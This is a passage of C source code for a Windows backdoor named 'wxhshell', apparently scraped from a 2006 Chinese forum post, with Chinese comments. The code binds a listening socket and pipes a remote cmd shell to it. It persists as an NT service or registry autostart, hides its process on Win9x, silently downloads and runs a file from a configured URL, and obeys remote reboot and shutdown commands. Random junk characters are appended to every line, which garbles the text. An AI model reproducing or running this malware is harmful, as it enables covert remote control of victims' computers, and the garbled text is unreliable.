      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9pD=E>4?#  
    break; g<VJ4TE6R  
  } q$Z.5EN  
  // 安装 UGK4uK+I`  
  case 'i': { h\ema|  
    if(Install()) FOxMt;|M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y-qbK0=X4  
    else ."<mL}Fi(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e$M \HPc  
    break; !N--  
    } h=uwOi6}  
  // 卸载 :gMcl"t--  
  case 'r': { y<bA Y_-[  
    if(Uninstall()) A` x_M!m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -NW7ncB|  
    else 3VZeUOxY\W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PMzPe"3M  
    break; G:NI+E"]  
    } j_\nsM7  
  // 显示 wxhshell 所在路径 ]5X=u(}  
  case 'p': { &L[7jA'[J  
    char svExeFile[MAX_PATH]; #gzY _)E  
    strcpy(svExeFile,"\n\r"); (he cvJ  
      strcat(svExeFile,ExeFile); QZ!;` ?(  
        send(wsh,svExeFile,strlen(svExeFile),0); dGf:0xE"  
    break; Ergh]"AD6-  
    } EY=`/~|c  
  // 重启 B2\R#&X.  
  case 'b': { V3 j1M?>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5 Z+2  
    if(Boot(REBOOT)) jU\vg;nr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v o vc,4}  
    else { w8$rt  
    closesocket(wsh); S&]AIG)  
    ExitThread(0); k*)O]M<,  
    } YY~BNQn6d  
    break; Y0`@$d&n  
    } GORu*[U8  
  // 关机 0?hJ!IT;q7  
  case 'd': { 2%Bq[SMuN  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7?Vo([8  
    if(Boot(SHUTDOWN)) HAa2q=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H'N$Vv2q  
    else { X=O}k&  
    closesocket(wsh); P70\ |M0~y  
    ExitThread(0); 6E~T$^Q}  
    } )c vA}U.z  
    break; ^MJTlRUb  
    } %Z|]"=;6  
  // 获取shell jx_n$D  
  case 's': { %n<u- {`  
    CmdShell(wsh); xlQl1lOX  
    closesocket(wsh); sU>!sxW  
    ExitThread(0); Ul@ Jg    
    break; P e_mX*0  
  } d5?"GFy  
  // 退出 (x7AV$N  
  case 'x': { o(iv=(o  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q}Wd`>VDR  
    CloseIt(wsh); +[l52p@a  
    break; uM3F[p%V^  
    } dxm_AUM  
  // 离开 Fa]fSqy@;  
  case 'q': { V'vDXzk\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hVQ TW[  
    closesocket(wsh); iO^z7Y7  
    WSACleanup(); YDEUiZ~  
    exit(1); A)I4 `3E  
    break; qucw%hJr  
        } [5&zyIi  
  } YXC?q  
  } ,>-Q#  
)*&I|L<1  
  // 提示信息 :/e= J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ).+!/x  
} "m^whHj  
  } SZ+<0Y |  
p)M\q fZ  
  return; I W_:nm6  
} 9A]XuPAlh  
![H!Y W'  
// shell模块句柄 ~'/I[y4t  
int CmdShell(SOCKET sock) z?~W]PWiZ  
{ "z+Z8l1.  
STARTUPINFO si; =6#tJgg8  
ZeroMemory(&si,sizeof(si)); !A>VzW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bI^zwK,@4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?H9F"B$a  
PROCESS_INFORMATION ProcessInfo; Up|\&2_  
char cmdline[]="cmd"; r.e,!Bs  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (n{sp  
  return 0; $mA+ 4ISK  
} W68d"J%>_  
s^_E'j$  
// 自身启动模式 H!dUQ  
int StartFromService(void) {},rbQ -  
{ Is6<3eQ\x  
typedef struct + ~ro*{3  
{ xN t  
  DWORD ExitStatus; g%w@v$  
  DWORD PebBaseAddress; Fjc+{;x  
  DWORD AffinityMask; 9E{Bn#  
  DWORD BasePriority; 7pNTCZY|  
  ULONG UniqueProcessId; )2X ng_,  
  ULONG InheritedFromUniqueProcessId; 0D1yG(ck  
}   PROCESS_BASIC_INFORMATION; !M~p __  
?v2OoNQ   
PROCNTQSIP NtQueryInformationProcess; G+ =6]0HT  
H3 _7a9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xh> /bU!>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %l@Q&)f8e  
;_0)f  
  HANDLE             hProcess; JWG7QH  
  PROCESS_BASIC_INFORMATION pbi; ^o't &  
R<mLG $  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [|{yr  
  if(NULL == hInst ) return 0; x_Ki5~w5  
D%LM"p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iUh_rX9A"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =5&)^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dJ`Fvj  
3Z'{#<1>^;  
  if (!NtQueryInformationProcess) return 0; yz-IZt(  
EU,4qO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kP%W:4l0  
  if(!hProcess) return 0; 8QYG"CA6/  
|6B:tw/.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h~elF1dG  
6__@?XzJ  
  CloseHandle(hProcess); ?{qw /&  
$XFG1?L!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \E.t=XBn  
if(hProcess==NULL) return 0; sXTt )J  
S$]:3  
HMODULE hMod; ZP?k|sEH  
char procName[255]; 6K P!o  
unsigned long cbNeeded; lf|e8kU\f  
sVkR7 ^KsG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *NV`6?o@6  
Wnl8XHPn  
  CloseHandle(hProcess); UVu"meZX  
#2DH_P  
if(strstr(procName,"services")) return 1; // 以服务启动 0s0[U  
W _b $E =  
  return 0; // 注册表启动 o;Zoj}  
} fokT)nf~^8  
B\|>i~u(  
// 主模块 mkBQX  
int StartWxhshell(LPSTR lpCmdLine) zx-+u7qKH  
{ G !1- 20  
  SOCKET wsl; =(v!pEF  
BOOL val=TRUE; NJUYeim;  
  int port=0; w^|,[G ^}H  
  struct sockaddr_in door; 'n:Ft  
o9wg<LP  
  if(wscfg.ws_autoins) Install(); Z55,S=i  
<O5;w  
port=atoi(lpCmdLine); p w>A Q  
xxkP4,(p  
if(port<=0) port=wscfg.ws_port; 3!Qt_,  
MVt#n\_BZV  
  WSADATA data; sQJM 4'8f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 20?i4h_  
iqy}|xAU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8@h zw~>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Qlb@Az  
  door.sin_family = AF_INET; Z$zUy|s[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =AD/5E,3  
  door.sin_port = htons(port); ]3={o3[:  
h*MR5qa  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sx]?^KR:  
closesocket(wsl); ~Y'e1w$`  
return 1; J$e.$ah;  
} m/eGnv;!  
H&03>.b  
  if(listen(wsl,2) == INVALID_SOCKET) { Vj2GK"$v  
closesocket(wsl); ,6M-xSDs  
return 1; &us8,x6yg  
} `n5c|`6  
  Wxhshell(wsl); "~V}MPt  
  WSACleanup(); awkVjyqX  
Tby+Pd;  
return 0; Ap!UX=HBb  
fwq|8^S@  
} ~JZ Lfw  
6\TstY3  
// 以NT服务方式启动 Nb];LCx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rqF PUp  
{ |iwTzlt*#  
DWORD   status = 0; p9s~WD/K  
  DWORD   specificError = 0xfffffff; J:(Shd'4D  
%'=oMbi>i4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JxLH]1b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6VE >$`m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zHdp'J"  
  serviceStatus.dwWin32ExitCode     = 0; ttsB'|p s  
  serviceStatus.dwServiceSpecificExitCode = 0; H]-W$V   
  serviceStatus.dwCheckPoint       = 0; aDOH3Ri0K!  
  serviceStatus.dwWaitHint       = 0; 'D/AL\1{p(  
z9+94<J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w-#0k.T  
  if (hServiceStatusHandle==0) return; SRD&Uf0M  
kyjH~mK4  
status = GetLastError(); X,fTzkGj  
  if (status!=NO_ERROR) DA wzXsx  
{ 0iL8i#y*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]rNfr-  
    serviceStatus.dwCheckPoint       = 0; v'>Yc#VJ  
    serviceStatus.dwWaitHint       = 0; ('lnQD.Hd  
    serviceStatus.dwWin32ExitCode     = status; )/ZSb1!  
    serviceStatus.dwServiceSpecificExitCode = specificError; !<LS4s;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X3-1)|g !z  
    return; x$Oz0[  
  } 0K2[E^.WN  
YiJu48J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; lET)<V(Y  
  serviceStatus.dwCheckPoint       = 0; @TprS d  
  serviceStatus.dwWaitHint       = 0; FG H>;H@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i3"sAr P"|  
} 2G-? P"4l@  
TkBBHg;  
// 处理NT服务事件,比如:启动、停止 yT n@p(J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2)A D'  
{ U .Od  
switch(fdwControl) ]03ZrZ! PM  
{ 2|=_kN8;  
case SERVICE_CONTROL_STOP: ks5'Z8X  
  serviceStatus.dwWin32ExitCode = 0; ?c2TT Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5ZcnZlOOQ  
  serviceStatus.dwCheckPoint   = 0; 9y4rw]4zI  
  serviceStatus.dwWaitHint     = 0; 8bGq"!w-  
  { :=Q|gRTL*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _tk5?9Ykn  
  } XZInu5(  
  return; )1vojp 4Za  
case SERVICE_CONTROL_PAUSE: SRTpE,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7&3URglsL"  
  break; .+Ej%|l%  
case SERVICE_CONTROL_CONTINUE: l0&8vhw8k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Wj:QC<5 v  
  break; ,_$"6  
case SERVICE_CONTROL_INTERROGATE: <J)A_Kx[57  
  break; h9I )<_}R  
}; is(!_Iv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nnG2z@$-  
} PNKT\yd  
pPZ/O 6  
// 标准应用程序主函数 $3TTHS o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NXBOo  
{ @__;RVQ  
f}X8|GlBo  
// 获取操作系统版本 m GhJn  
OsIsNt=GetOsVer(); B`scuLl3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #Qr4Ke$g[l  
skz]@{38  
  // 从命令行安装 mM} Ukmy  
  if(strpbrk(lpCmdLine,"iI")) Install(); (U_Q7hja?  
358/t/4 {p  
  // 下载执行文件 $ rYS   
if(wscfg.ws_downexe) { o# xg:m_py  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  |{)xC=  
  WinExec(wscfg.ws_filenam,SW_HIDE); EQ7n'Wqq  
} DME?kh>7  
qffSq](D.  
if(!OsIsNt) { Jyci}CU3\Q  
// 如果时win9x,隐藏进程并且设置为注册表启动 A+*oT(`  
HideProc(); A{I a21T7  
StartWxhshell(lpCmdLine); oqba:y;AR  
} %^=!s  
else Kk>qgi$  
  if(StartFromService()) h.$__Gs  
  // 以服务方式启动 J,G9m4Z7  
  StartServiceCtrlDispatcher(DispatchTable); +MZO%4  
else J7ekIQgR  
  // 普通方式启动 TucAs 0-bF  
  StartWxhshell(lpCmdLine); A dEbyL  
` G=L07  
return 0; h ^h-pd  
}
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只看该作者 1 发表于: 2006-10-10
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